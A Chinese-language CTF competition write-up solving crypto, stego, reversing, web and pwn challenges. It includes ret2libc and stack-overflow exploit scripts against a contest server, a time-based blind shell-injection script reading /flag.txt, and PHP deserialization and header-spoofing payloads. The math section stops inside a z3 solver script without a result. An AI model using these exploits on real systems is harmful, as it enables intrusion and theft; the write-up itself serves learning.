说点什么
这个比赛可能难度对于师傅来说简单了，对于刚学一段的菜狗（我）其实觉得刚刚好能看下去能学进去
慢慢了解也能做。毕竟没全部AK我就不能锐评了。
一.babyrsa
拿到rsa
打开enc
看到enc
找一个以前脚本带入一下
import requests
from Crypto.Util.number import long_to_bytes
api = "https://factordb.com/api?query="
def factorize(n):
response = requests.get(api + str(n))
if response.status_code != 200:
return None
elif response.json()["status"] == "FF":
if len(response.json()["factors"]) == 2:
p,q = int(response.json()["factors"][0][0]),int(response.json()["factors"][1][0])
if p*q != int(n):
return None
return p,q
return None
return None
if __name__ == "__main__":
e = int(input("请输入模数e:"))
n = input("请输入公钥n:")
fac_n = factorize(n)
if fac_n == None:
print("无法分解n")
exit()
p,q = fac_n[0],fac_n[1]
c = int(input("请输入密文c:"))
phi_n = (p-1)*(q-1)
d = pow(e,-1,phi_n)
m = pow(c,d,int(n))
print("明文为:",long_to_bytes(m))
得到了flag
flag{5c9c885c361541e0b261f58b61db8cec}
根据要求
flag{5c9c885c361551e0b261f58b61db8cec}
二. cry_rsa
另一个rsa
有pqe求d
上脚本
import requests
from Crypto.Util.number import long_to_bytes
api = "https://factordb.com/api?query="
def factorize(n):
response = requests.get(api + str(n))
if response.status_code != 200:
return None
elif response.json()["status"] == "FF":
if len(response.json()["factors"]) == 2:
p,q = int(response.json()["factors"][0][0]),int(response.json()["factors"][1][0])
if p*q != int(n):
return None
return p,q
return None
return None
if __name__ == "__main__":
e = int(input("请输入模数e:"))
n = input("请输入公钥n:")
fac_n = factorize(n)
if fac_n == None:
print("无法分解n")
exit()
p,q = fac_n[0],fac_n[1]
c = int(input("请输入密文c:"))
phi_n = (p-1)*(q-1)
d = pow(e,-1,phi_n)
m = pow(c,d,int(n))
print("明文为:",long_to_bytes(m))
这里有题目要求把flag是d+4所以直接加了4
flag{2023326077889096383}
三. Gift
拿到gift
问一下ai
根据题目中给出的数学级数 1−31+51−71+…，我们可以识别出这是著名的 莱布尼茨公式，其和为 4π。结合题意，礼物被平均分成四份，其中一份散落后变为该级数，因此完整的礼物应为 π。而“π”在英语中与“pie”（派）谐音，因此礼物很可能是 苹果派（apple pie）或其他类型的派。
接下来，按照题目要求用凯撒密码（偏移量1）对答案加密：
- 原词：pie
- 加密过程：每个字母向后移动1位（例如，p→o，i→h，e→d）
- 加密结果：ohd
因此，最终的加密后 Flag 为：flag{ohd}
交了不对
但是思路有了
就是flag{pie}进行凯撒偏移
这个就对了
Flag{qjf}
四. 草甸方阵的密语
看一下下载下来
这格式看着就像
枚举一下栅栏
感觉W型没出乱
直接全选枚举的W型
放入随波逐流
这里枚举了所有直接全扔入了
然后多翻一下能看到下面凯撒偏移第7层吧对上了flag
不过前面直接枚举了所有栅栏所以我没注意栅栏是多少栏
不过思路没问题哈
flag{MKOLPIUYTFDSAG}
五.easy签到
直接下txt打开看看
一眼base
随波逐流秒了
flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}
六ez_picture
下下来
直接对外层照片提取lsb
用stegsolve
提取出来压缩包密码999999999
解压得到
照片放入随波逐流
看到了base解码的字符
复制解码看看
拿到了
flag{HNCTFyaBPfaBW1E1}
七. ez_xor
看到了xor
Xor
就是不知道和多少抑或啊
这里可以知道flag头是flag
也就是
5f55585e
和某个异或后得到字符是flag
这里试一下
能看到当xor的值时57时候得到了flag头
所以密钥就是57，整个带入解密
data = "密文"
for i in range(0, len(data), 2):
byte = data[i:i+2]
a = int(byte, 16)
print(chr(a ^ 57), end="")
八. 光隙中的寄生密钥
因为自己做过了，做之前只有一个照片
然后通过formost提取出隐藏文件
有个zip
打开
发现有密码
之前照片010看了一下没有压缩包密码key试试爆破
爆破出来了key= ‘9864’
得到了
5a6d78685a33744861435134544731514e56356b55544a6d546a596d66513d3d
好乱不知道是什么
写一个脚本转hex
bytes_data = bytes.fromhex(“5a6d78685a33744861435134544731514e56356b55544a6d546a596d66513d3d”)
print(bytes_data)
看到了转hex就是base解码
直接去解码
混合解码结果:flag{Gh$8LmP5^dQ2fN6&}
这就是了
九. 被折叠的显影图纸
下完是一个表格？
打开显示加密了
直接扔到随波逐流
好吧没找到
那就是txt打开
直接搜索flag
这里看到了
‘flag is here CTF{offi ce_easy_ cracked}
十. sign in
好的这是一个re题目
下载一看
有upx壳拖一下壳
因为我电脑之前换了所以没办法用官方的upx -d脱壳了
就用了软件脱壳
脱完壳看不是exe直接放kali里的ida去分析
Kali的ida打开发现时rc4只不过看了main函数没看到
想起来之前有文章说main没有可能在__libc_start_main extern函数里
没找到不过发现了callme函数
这个名字不混淆？call时跳转命令callme就是跳转到我，这应该是官方提示吧？
看到了rc4主要明显逻辑
很明显的rc4逻辑
- 变量初始化：
- v1[4] 存储了4个64位整数，作为RC4密钥的前32字节。
- v2 是一个32位整数，作为密钥的后4字节，总密钥长度36字节。
- v3[3] 和 v4[3] 存储密文数据，通过RC4解密后得到明文。
- RC4流程：
- rc4_init(v5, v1, 36)：用 v1 和 v2 初始化密钥。
- rc4_crypt(v5, v3, 39)：解密 v3 和 v4 中的39字节数据。
对应上一下脚本
# 构造密钥
v1 = [
0xB8C6B89FC8B99FC8,
0xCFB7B0C51443528F,
0xB1A8C6B99BC7AC9C,
0xBDC68AB3C59299C5
]
v2 = -1499806587
key = b”
for num in v1:
key += num.to_bytes(8, ‘little’) # 每个v1元素转8字节小端
key += v2.to_bytes(4, ‘little’, signed=True) # v2转4字节小端，总密钥36字节
# 构造密文（39字节）
v3 = [
0x97124DF289B15A46,
0xB9D8B54F60840402,
0xB522866085D4D908
]
cipher = b”
for num in v3:
cipher += num.to_bytes(8, ‘little’) # v3贡献24字节
# 处理v4的覆盖部分
v4_initial = 0xF56522982F96412C.to_bytes(8, ‘little’) # 初始8字节
overwrite_val = 0x2AC59E52A6F4F5
overwrite_bytes = overwrite_val.to_bytes(8, ‘little’) # 覆盖的8字节小端
# 合并：v4初始字节的前7字节 + 覆盖的8字节，共15字节
v4_part = bytearray(v4_initial[:7]) # 前7字节保持原样
v4_part += overwrite_bytes # 添加覆盖的8字节
cipher += bytes(v4_part) # 总密文24+15=39字节
# RC4解密函数
def rc4_decrypt(key, ciphertext):
S = list(range(256))
j = 0
# 初始化S盒
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 生成密钥流并解密
i = j = 0
plain = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plain.append(byte ^ k)
return bytes(plain)
# 解密并输出
flag = rc4_decrypt(key, cipher)
print(“Flag:”, flag.decode(‘latin-1′, errors=’replace’))
十一.web YWB_Web_命令执行过滤绕过
这里构造payload ?cmd=readfile(‘/tmp/flag.nisp’);
十二.ezpwn
看一下pwn2的pwn文件
再看一下so文件
还是看pwn
vuln() 函数存在栈溢出漏洞，允许覆盖返回地址。
但是：close(1) 导致无法通过常规输出泄露地址
这里绕过一下
构造payload
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./pwn")
p=remote("47.105.113.86",30003)
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
pop_rdi=0x00000000004012c3
pop_rsi_r15=0x00000000004012c1
# gdb.attach(p)
p.sendline(b"a"*40+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.plt['write'])+p64(elf.symbols['main']))
p.recvuntil(b"blind now.")
write_adder=u64(p.recv(6).ljust(8,b'\x00'))
log.success(f"puts_adddr:{hex(write_adder)}")
base_addr=write_adder-libc.symbols['write']
log.success(f"base_addr:{hex(base_addr)}")
system_addr = base_addr + libc.symbols["system"]
bin_sh = base_addr + next(libc.search(b"/bin/sh\x00"))
log.success(f'system_addr:{hex(system_addr)}')
log.success(f'bin_sh:{hex(bin_sh)}')
ret=0x000000000040101a
# gdb.attach(p)
p.sendline(b'a'*40+p64(pop_rdi)+p64(bin_sh)+p64(system_addr))
p.interactive()
可以拿到flag
flag{a51a3bdf23919f677efccd90270da72f}
十三.pwn. Canary
Pwn文件入ida
这里
buf 在栈上的偏移为 rbp-0x70。返回地址位置：返回地址位于 rbp+0x8。
- 偏移计算：
- buf到rbp的距离 = 0x70
- rbp到返回地址的距离 = 0x8
总偏移 = 0x70 + 0x8 = 0x78（120字节）
绕过检查
- 变量 v2 的位置：v2 在栈上的偏移为 rbp-0x18，距离 buf 的偏移为 0x70 – 0x18 = 0x58（88字节）。
- 覆盖 v2：在 payload 中覆盖 v2 的值为 qword_4040D0 的当前值，确保最终检查通过。
泄露 qword_4040D0调用 case 2 打印 qword_4040D0 的值（需 qword_404088 > 0）
构造 ROP 链
- 目标：调用 system(“/bin/sh”)。
动态获取 Libc 地址
泄露 Libc 地址：通过 puts 打印 GOT 表项。
完整 Payload 构造
from pwn import remote, p64
def main():
# 1. 建立到远程服务器的连接
p = remote('47.105.113.86', 30001)
# 2. 等待“choice”提示，选择“1”
p.recvuntil(b'choice')
p.sendline(b'1')
# 3. 等待“code:”提示后，发送 payload
p.recvuntil(b'code:')
# 88+16 字节填充 + 两个 8 字节（0 填充） + sys_addr
sys_addr = 0x401581
payload = b'A' * 104 + p64(0) * 2 + p64(sys_addr)
p.sendline(payload)
# 4. 再次选项交互：发送“2”“3”，然后进入交互
p.recvuntil(b'choice')
p.sendline(b'2')
p.sendline(b'3')
p.interactive()
if __name__ == "__main__":
main()
flag{00d76796e489999226fb5bb27fe1b3b3}
十四. YWB_Web_反序列化
下载拿到源码
然后根据要求构造payload
O:7:”mylogin”:2:{s:4:”user”;s:5:”admin”;s:4:”pass”;s:11:”myzS@11wawq”;}
Ok
flag{ptn4pymi1h7o}
十五. YWB_Web_xff
下载附件打开题目内容
Index.php
我们根据这段内容进行分析我们更改xff头，为便于上传我们编写脚本解答
import requests
def login_with_ip_bypass(url, username, password, spoofed_ip):
data = {
"username": username,
"password": password
}
headers = {
"X-Forwarded-For": spoofed_ip
}
try:
response = requests.post(url, data=data, headers=headers, timeout=5)
print(f"[+] 响应状态码: {response.status_code}")
print("[+] 响应内容:\n", response.text)
except requests.RequestException as e:
print(f"[!] 请求失败: {e}")
if __name__ == "__main__":
target_url = "http:// 47.105.113.86:40001/"
login_with_ip_bypass(target_url, "test", "test", "2.2.2.1")
运行一下python
得到flag，flag{4qyhbrxx1xk7}
十六. Easyweb
打开题目是这样的
根据题目要求我们编写脚本进行解答这道题：
import requests
import time
url = "http://47.105.113.86:40001/"
flag = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-" # 常见字符
timeout = 3 # 延迟阈值（秒）
for position in range(1, 50): # 假设 flag 不超过 50 字符
found = False
for char in charset:
# 构造命令：检查第 position 个字符是否为 char
cmd = f"if [ $(cut -b {position} /flag.txt) = '{char}' ]; then sleep {timeout}; fi"
try:
start = time.time()
response = requests.post(url, data={"cmd": cmd}, timeout=timeout + 2)
elapsed = time.time() - start
if elapsed >= timeout:
flag += char
print(f"[+] Flag: {flag}")
found = True
break
except:
continue
if not found:
break # 所有字符均未匹配，可能已到末尾
print(f"Final Flag: {flag}")
得到flag，flag{5ki185ca8l1i}
十七.YWB_Web_未授权访问
时间
这里的解出来的是O:5:”Admin”:2:{s:4:”name”;s:0:””;s:7:”isAdmin”;b:0;}，我们把isAdmin的0改为1，再进行编码传回去
编码脚本：
from urllib.parse import quote
original_data = 'O:5:"Admin":2:{s:4:"name";s:0:"";s:7:"isAdmin";b:0;}'
modified_data = original_data.replace('b:0', 'b:1')
encoded_data = quote(modified_data)
print(encoded_data)
O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
然后下面进行修改值
得到flag，flag{zo84fpgxr98h}
[FLAG] flag{zo84fpgxr98h}
十八 Easymisc
这里看到里面有数字
提取出来
77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 76 97 88 66 51 98 50 78 112 81 88 100 89 83 109 82 81 89 107 112 70 83 68 73 61
解密逻辑是十进制转字符然后base64然后base58然后rot13
import base64
import base58
import codecs
def dec_to_str(dec_str):
"""
将十进制字符串（以空格分隔）转换为对应的字符字符串
:param dec_str: 十进制字符串，以空格分隔
:return: 转换后的字符字符串
"""
dec_list = dec_str.split()
result = ""
for dec in dec_list:
try:
char_code = int(dec)
result += chr(char_code)
except ValueError:
print(f"错误：{dec} 不是有效的十进制数")
return result
def base64_decode(input_str):
"""
对输入的字符串进行Base64解密
:param input_str: 待解密的Base64编码字符串
:return: 解密后的字符串
"""
try:
decoded_bytes = base64.b64decode(input_str)
return decoded_bytes.decode('utf-8')
except Exception as e:
print(f"Base64解密失败: {e}")
return input_str
def base58_decode(input_str):
"""
对输入的字符串进行Base58解密
:param input_str: 待解密的Base58编码字符串
:return: 解密后的字符串
"""
try:
decoded_bytes = base58.b58decode(input_str)
return decoded_bytes.decode('utf-8')
except Exception as e:
print(f"Base58解密失败: {e}")
return input_str
def rot13_decode(input_str):
"""
对输入的字符串进行ROT13解密
:param input_str: 待解密的字符串
:return: 解密后的字符串
"""
return codecs.encode(input_str, 'rot_13')
def main():
# 获取用户输入的十进制字符串
dec_input = input("请输入以空格分隔的十进制字符串: ")
# 十进制转字符
str_result = dec_to_str(dec_input)
print(f"十进制转字符结果: {str_result}")
# Base64解密
b64_result = base64_decode(str_result)
print(f"Base64解密结果: {b64_result}")
# Base58解密
b58_result = base58_decode(b64_result)
print(f"Base58解密结果: {b58_result}")
# ROT13解密
rot13_result = rot13_decode(b58_result)
print(f"ROT13解密结果: {rot13_result}")
if __name__ == "__main__":
main()
flag{HNCTFJrOGqH4iakiY}
十九.ez_base
什么玩意
上网站
解密得到
ZmxhZ3tITkNURkNFd1lTTEZCSFU3VEZ9
这是什么？base吗
试了一下就是base
直接出
flag{HNCTFCEwYSLFBHU7TF}
二十.套娃
思路就是全部改zip一直解压下去
看时间
解压出去
接着解压
找到document.xml
进去搜索flag
找到了
flag{HNCTFNNlWGNX5}
二十一.math
用pyinstxtractor.py反编译enc.exe
使用在线工具反编译pyc
得到
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: enc.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
if __name__ == '__main__':
openFile = 'eq'
outputFile = 'eqEnc'
with open(openFile, 'rb') as f:
d = f.read()
key = 'eq verySimple'
enc = []
for index, item in enumerate(d):
enc.append(item ^ ord(key[index % len(key)]))
with open(outputFile, 'wb') as f2:
f2.write(bytes(enc))
分析发现就是把eq这个文件给亦或一个值然后输出eqenc
直接用这个文件还原eqenc得到一个z3方程
直接用z3求解
exp如下
from z3 import *
solver = Solver()
solver.set("threads", 16) # 使用4个线程
# 创建求解器实例
# 定义变量，假设x是整数变量
x=[BitVec(str(i),16) for i in range(38)] # 根据方程中出现的最大索引37，创建38个变量（x[0]到x[37]）
for var in x:
solver.add(var >= 32, var <= 126)
known_prefix = "flag{"
for i in range(len(known_prefix)):
solver.add(x[i] == ord(known_prefix[i])) # 例如：x[0] = ord('f')=102
solver.add(x[37] == ord('}'))
# 添加方程约束
solver.add(8 * (x[0] * x[10]) - 6 * (x[0] * x[9]) + 10 * (x[1] * x[29]) + 5 * x[10] + 3 * (x[12] * x[18]) + 7 * (x[13] * x[15]) + 8 * (x[15] * x[33]) + 10 * (x[18] * x[30]) - 10 * (x[19] * x[36]) - 4 * (x[22] * x[4]) - 4 * (x[28] * x[7]) + 5 * (x[31] * x[36]) - 5 * (x[35] * x[4]) + 2 * (x[35] * x[8]) - 5 * x[37] - 142252 == 0)
solver.add(8 * (x[0] * x[3]) + 10 * (x[0] * x[32]) + 8 * (x[0] * x[6]) + 5 * (x[1] * x[4]) + 6 * x[1] - 5 * (x[10] * x[11]) - x[10] * x[33] - 6 * (x[12] * x[36]) + 10 * (x[18] * x[26]) - 8 * (x[2] * x[27]) - 8 * (x[21] * x[31]) - 2 * (x[22] * x[29]) - 2 * (x[24] * x[35]) + 9 * (x[24] * x[36]) + 3 * (x[25] * x[27]) + 5 * (x[26] * x[3]) + 10 * (x[3] * x[33]) + 3 * (x[31] * x[32]) - 9 * (x[31] * x[4]) + 2 * (x[32] * x[34]) - 314730 == 0)
solver.add(2 * (x[0] * x[27]) - 5 * (x[0] * x[37]) - 9 * (x[1] * x[22]) - 6 * (x[10] * x[5]) + 6 * (x[12] * x[24]) - 5 * (x[14] * x[15]) - 3 * (x[14] * x[37]) - 5 * (x[19] * x[26]) + 9 * (x[20] * x[27]) + 6 * (x[21] * x[24]) + 7 * (x[21] * x[29]) - 3 * (x[23] * x[26]) + 4 * (x[24] * x[36]) + 8 * (x[35] * x[8]) + 160358 == 0)
solver.add(-8 * (x[10] * x[19]) + 8 * (x[14] * x[5]) - x[15] * x[15] - 9 * (x[18] * x[27]) + 7 * (x[19] * x[32]) - 4 * (x[23] * x[6]) - 9 * (x[31] * x[7]) + 5 * x[32] + 9 * (x[4] * x[6]) - 80559 == 0)
solver.add(-2 * (x[1] * x[2]) - 2 * (x[10] * x[32]) - 7 * (x[11] * x[2]) - 6 * (x[11] * x[31]) + 9 * (x[15] * x[9]) + 2 * (x[19] * x[34]) + 7 * (x[19] * x[6]) + 9 * (x[22] * x[37]) + 3 * (x[23] * x[34]) + 9 * (x[28] * x[8]) - 9 * (x[5] * x[9]) - 59775 == 0)
solver.add(-8 * (x[0] * x[2]) + 5 * (x[1] * x[29]) - 9 * (x[10] * x[9]) + 3 * (x[11] * x[18]) - 9 * (x[12] * x[16]) + 6 * (x[12] * x[23]) - 3 * (x[12] * x[24]) - 5 * (x[14] * x[5]) - x[15] * x[23] + 6 * x[16] + 4 * (x[17] * x[33]) - 4 * (x[17] * x[6]) - 3 * (x[19] * x[23]) - 10 * (x[20] * x[26]) + 7 * (x[22] * x[3]) + 9 * (x[23] * x[24]) - 6 * (x[7] * x[9]) + 170365 == 0)
solver.add(-9 * (x[0] * x[18]) + 5 * (x[0] * x[29]) + 10 * (x[1] * x[8]) - 2 * (x[10] * x[22]) - 8 * (x[10] * x[30]) - 7 * (x[13] * x[32]) + 4 * (x[16] * x[4]) - 3 * x[16] + 7 * (x[19] * x[9]) - 8 * (x[2] * x[20]) + 2 * (x[21] * x[24]) - 7 * (x[23] * x[9]) - 8 * (x[27] * x[28]) + 4 * (x[28] * x[30]) - 10 * (x[29] * x[3]) + 7 * x[29] + 3 * (x[32] * x[33]) - 4 * (x[36] * x[5]) + 77631 == 0)
solver.add(4 * (x[0] * x[31]) - 4 * (x[10] * x[7]) - 9 * (x[11] * x[6]) + 10 * (x[12] * x[5]) - 3 * (x[13] * x[27]) + 3 * (x[16] * x[26]) + 8 * (x[17] * x[21]) - 3 * (x[17] * x[27]) - 9 * (x[18] * x[2]) + x[19] * x[32] - 2 * (x[19] * x[34]) + 10 * (x[2] * x[22]) - x[20] * x[8] + 10 * (x[24] * x[36]) + 5 * (x[3] * x[5]) + x[31] * x[34] - 2 * (x[32] * x[37]) - 7 * (x[36] * x[4]) - 143640 == 0)
solver.add(10 * (x[1] * x[34]) - 6 * (x[1] * x[9]) - 9 * (x[13] * x[32]) + 7 * (x[19] * x[24]) + x[2] * x[25] - 3 * (x[21] * x[9]) - 5 * (x[22] * x[23]) + 7 * (x[25] * x[3]) - 2 * (x[25] * x[7]) - 9 * (x[27] * x[31]) - 10 * x[27] + 2 * (x[28] * x[34]) - 8 * (x[28] * x[9]) + 10 * (x[31] * x[36]) + 6 * (x[33] * x[9]) - 10 * (x[34] * x[37]) - x[34] * x[8] + 7 * (x[35] * x[36]) - 4 * (x[36] * x[6]) - 7 * x[9] * x[9] + 113502 == 0)
solver.add(-9 * (x[1] * x[18]) - 6 * (x[10] * x[29]) - 4 * (x[12] * x[25]) + x[16] * x[21] + 6 * (x[16] * x[23]) - 6 * (x[16] * x[32]) - x[17] * x[21] - 8 * (x[18] * x[20]) + 9 * (x[18] * x[31]) + 8 * (x[2] * x[9]) + 4 * (x[22] * x[33]) + x[27] * x[31] - 2 * (x[28] * x[6]) - 5 * (x[29] * x[7]) - x[35] * x[8] - 9 * (x[4] * x[9]) + 8 * (x[6] * x[7]) + 103759 == 0)
solver.add(9 * (x[0] * x[1]) - 2 * x[0] - 6 * (x[10] * x[29]) - 6 * (x[11] * x[5]) - 4 * (x[13] * x[22]) - 6 * (x[15] * x[36]) + 3 * (x[16] * x[6]) + 7 * (x[18] * x[25]) - 8 * (x[20] * x[5]) + 7 * (x[23] * x[5]) - x[25] * x[28] + 9 * (x[26] * x[8]) - 7 * (x[29] * x[36]) - 3 * (x[30] * x[9]) + 6 * (x[35] * x[5]) - 70353 == 0)
solver.add(-5 * (x[0] * x[4]) - 8 * (x[1] * x[27]) - 7 * (x[1] * x[34]) + 7 * (x[11] * x[22]) + 4 * (x[14] * x[5]) - 5 * (x[17] * x[31]) + 10 * (x[20] * x[21]) - 7 * (x[20] * x[23]) - 2 * (x[22] * x[8]) - 7 * x[29] * x[29] + 6 * (x[29] * x[3]) + 9 * (x[30] * x[34]) + 3 * (x[31] * x[6]) - 9 * x[5] * x[5] + 82184 == 0)
solver.add(6 * (x[0] * x[28]) - x[1] * x[2] - 4 * (x[10] * x[35]) + 3 * (x[13] * x[32]) - 2 * x[17] - 2 * (x[19] * x[33]) + x[20] * x[29] - 4 * (x[21] * x[29]) - 5 * (x[24] * x[26]) + x[25] * x[26] - 5 * (x[26] * x[8]) - 6 * (x[33] * x[6]) - 8 * (x[36] * x[4]) + 113024 == 0)
solver.add(8 * (x[0] * x[24]) - 4 * (x[17] * x[2]) + 7 * (x[2] * x[37]) + 6 * (x[2] * x[7]) - 2 * (x[23] * x[5]) + x[33] * x[35] - 8 * x[9] - 133962 == 0)
solver.add(-5 * (x[0] * x[11]) - x[13] * x[21] - 7 * (x[16] * x[2]) + 9 * (x[18] * x[29]) - 2 * (x[18] * x[30]) - 7 * (x[20] * x[27]) - 5 * (x[24] * x[7]) + 10 * x[25] + 6 * (x[28] * x[29]) - 5 * (x[29] * x[4]) - 8 * (x[3] * x[34]) + 9 * (x[31] * x[33]) - 9 * x[33] * x[33] + 10 * (x[4] * x[5]) + 79412 == 0)
solver.add(-2 * (x[10] * x[8]) + 9 * (x[14] * x[20]) - 4 * (x[15] * x[21]) + 5 * (x[16] * x[2]) + x[17] * x[4] - 8 * (x[18] * x[4]) - 3 * (x[2] * x[21]) + 3 * (x[20] * x[31]) - 10 * (x[21] * x[27]) - 5 * (x[22] * x[31]) - 6 * (x[27] * x[33]) + 10 * (x[27] * x[36]) - 8 * x[35] + 29485 == 0)
solver.add(-6 * (x[0] * x[14]) - 8 * (x[1] * x[14]) + 2 * x[11] * x[11] + 4 * (x[12] * x[18]) + x[15] * x[6] + 9 * (x[16] * x[18]) - 7 * (x[18] * x[25]) - x[20] * x[20] - 8 * (x[3] * x[33]) + 10 * (x[31] * x[37]) - 10 * (x[35] * x[36]) + 7 * x[35] - 6 * (x[8] * x[9]) + 108571 == 0)
solver.add(x[10] * x[35] - 10 * (x[10] * x[37]) + 8 * (x[10] * x[7]) - 5 * (x[12] * x[30]) - 2 * (x[15] * x[34]) - 7 * (x[16] * x[22]) - 2 * (x[18] * x[31]) + 8 * (x[2] * x[33]) - 3 * (x[22] * x[5]) + 4 * (x[23] * x[27]) - 7 * (x[3] * x[35]) + 4 * (x[33] * x[8]) - x[35] * x[6] - x[6] + 169501 == 0)
solver.add(-7 * (x[0] * x[37]) - 8 * (x[1] * x[24]) + 6 * (x[11] * x[15]) - 10 * (x[11] * x[32]) - 4 * (x[13] * x[17]) - 8 * (x[14] * x[17]) - 2 * (x[14] * x[26]) + 9 * (x[16] * x[20]) + 7 * (x[16] * x[29]) - 5 * (x[16] * x[36]) - 6 * (x[18] * x[20]) + 7 * (x[20] * x[22]) + 4 * x[22] * x[22] - 8 * (x[22] * x[24]) + 7 * (x[24] * x[3]) + 5 * x[25] * x[25] - 9 * (x[25] * x[26]) - 4 * x[26] * x[26] - 6 * x[29] - 6 * (x[3] * x[37]) - x[35] * x[36] + 304140 == 0)
solver.add(-7 * (x[1] * x[11]) + 5 * (x[1] * x[37]) - x[10] * x[31] - 2 * (x[11] * x[35]) - 8 * (x[12] * x[5]) + 3 * (x[15] * x[29]) + 2 * (x[17] * x[29]) + 2 * (x[17] * x[37]) - 6 * (x[2] * x[22]) + x[2] * x[9] + 6 * (x[20] * x[25]) - 3 * (x[20] * x[26]) - 9 * (x[21] * x[34]) - 3 * (x[22] * x[27]) - 5 * (x[22] * x[4]) + 9 * (x[22] * x[7]) - 6 * (x[23] * x[34]) - 3 * (x[23] * x[6]) - 6 * (x[31] * x[5]) - 6 * (x[32] * x[8]) + x[35] * x[35] + 281492 == 0)
solver.add(5 * (x[0] * x[36]) - 9 * (x[10] * x[6]) - 5 * (x[12] * x[29]) + 6 * (x[12] * x[31]) - 7 * (x[12] * x[7]) + 8 * (x[13] * x[8]) - 5 * (x[16] * x[17]) + 8 * (x[17] * x[2]) - 5 * (x[23] * x[35]) - 3 * (x[27] * x[7]) + 8 * (x[28] * x[36]) + 8 * x[3] - 3 * (x[30] * x[9]) + 10 * (x[31] * x[8]) - 2 * (x[32] * x[5]) - 8 * (x[36] * x[8]) - 39234 == 0)
solver.add(6 * (x[1] * x[6]) - 4 * (x[10] * x[5]) + 5 * (x[11] * x[26]) + 2 * (x[14] * x[24]) + 7 * (x[15] * x[23]) - 9 * (x[16] * x[24]) + 7 * (x[18] * x[21]) - 4 * x[18] - 10 * (x[2] * x[36]) - 5 * (x[20] * x[31]) + 7 * (x[21] * x[35]) + 5 * (x[25] * x[8]) - 3 * (x[26] * x[31]) - 6 * (x[27] * x[34]) + 9 * (x[29] * x[3]) - 10 * x[31] * x[31] - 48106 == 0)
solver.add(-5 * (x[0] * x[29]) - 8 * (x[1] * x[15]) + 7 * (x[12] * x[30]) + 8 * (x[14] * x[24]) + 7 * (x[15] * x[17]) - 3 * (x[15] * x[31]) - 5 * (x[15] * x[7]) - 3 * (x[16] * x[33]) + 6 * (x[18] * x[26]) + 7 * (x[19] * x[26]) - x[20] * x[7] - 10 * (x[21] * x[6]) - 3 * (x[22] * x[29]) - 6 * (x[23] * x[25]) - 6 * (x[23] * x[3]) - 7 * (x[23] * x[33]) - 4 * (x[29] * x[31]) + 2 * (x[3] * x[35]) + 8 * (x[33] * x[8]) - 8 * (x[4] * x[6]) + 84594 == 0)
solver.add(10 * (x[1] * x[31]) - 10 * x[11] * x[11] + 6 * (x[11] * x[24]) + 4 * (x[12] * x[17]) + 8 * (x[22] * x[31]) + 9 * (x[3] * x[32]) + 5 * (x[3] * x[7]) + 9 * (x[30] * x[7]) + 5 * (x[31] * x[5]) + 8 * x[9] - 250665 == 0)
solver.add(8 * (x[1] * x[29]) + 6 * (x[1] * x[3]) + 7 * (x[11] * x[15]) - 3 * (x[11] * x[22]) - 10 * (x[12] * x[24]) + 7 * (x[12] * x[28]) + 4 * (x[12] * x[29]) + 5 * (x[13] * x[22]) + 4 * (x[13] * x[34]) - 7 * x[13] - 3 * (x[16] * x[19]) - 9 * (x[16] * x[28]) - 4 * (x[18] * x[35]) + 8 * (x[19] * x[26]) - 6 * (x[23] * x[34]) - 4 * (x[23] * x[6]) + x[23] * x[9] + 2 * (x[24] * x[9]) + 9 * (x[25] * x[31]) + 9 * (x[29] * x[33]) - 2 * (x[29] * x[6]) - 9 * (x[3] * x[5]) + x[30] * x[31] + 4 * (x[30] * x[32]) - 9 * (x[34] * x[7]) - 136458 == 0)
solver.add(7 * (x[12] * x[20]) - 2 * (x[13] * x[27]) + 7 * (x[15] * x[29]) - 5 * (x[15] * x[3]) - 7 * (x[15] * x[31]) + 2 * (x[15] * x[6]) - 7 * (x[16] * x[17]) - 6 * (x[16] * x[28]) - x[18] * x[20] - x[19] * x[32] + x[21] * x[30] + 9 * (x[23] * x[4]) + x[25] * x[35] + 5 * (x[26] * x[29]) - 9 * (x[30] * x[32]) - 4 * (x[32] * x[7]) + 9 * x[34] + x[37] * x[4] - 8 * (x[8] * x[9]) + 134345 == 0)
solver.add(-8 * (x[0] * x[19]) - 8 * (x[1] * x[21]) - x[10] * x[13] - x[15] * x[4] - 4 * (x[21] * x[22]) - 8 * x[24] * x[24] - 7 * (x[26] * x[8]) - 5 * (x[28] * x[32]) + 8 * (x[29] * x[3]) - 3 * (x[35] * x[4]) + 8 * x[36] + 226409 == 0)
solver.add(4 * (x[0] * x[23]) + 8 * (x[0] * x[34]) + 2 * (x[1] * x[27]) - 5 * (x[10] * x[11]) - 3 * (x[10] * x[13]) - 6 * (x[21] * x[22]) + 8 * (x[21] * x[34]) - 6 * (x[22] * x[37]) + 8 * (x[23] * x[28]) + 6 * (x[3] * x[8]) - 3 * (x[36] * x[8]) - x[37] * x[37] - x[5] * x[8] + 7846 == 0)
solver.add(-9 * (x[0] * x[27]) + 10 * x[0] + 5 * (x[13] * x[25]) - 4 * (x[15] * x[29]) - 9 * (x[15] * x[30]) - 9 * (x[16] * x[17]) - x[17] * x[32] + 9 * (x[17] * x[4]) + 6 * x[19] * x[19] + 6 * (x[2] * x[20]) + 3 * (x[20] * x[33]) + 2 * x[21] - 9 * x[25] - 4 * (x[26] * x[31]) + 7 * (x[29] * x[35]) - 7 * (x[30] * x[35]) - 7 * x[31] - x[4] * x[4] - 3 * (x[8] * x[9]) + 129180 == 0)
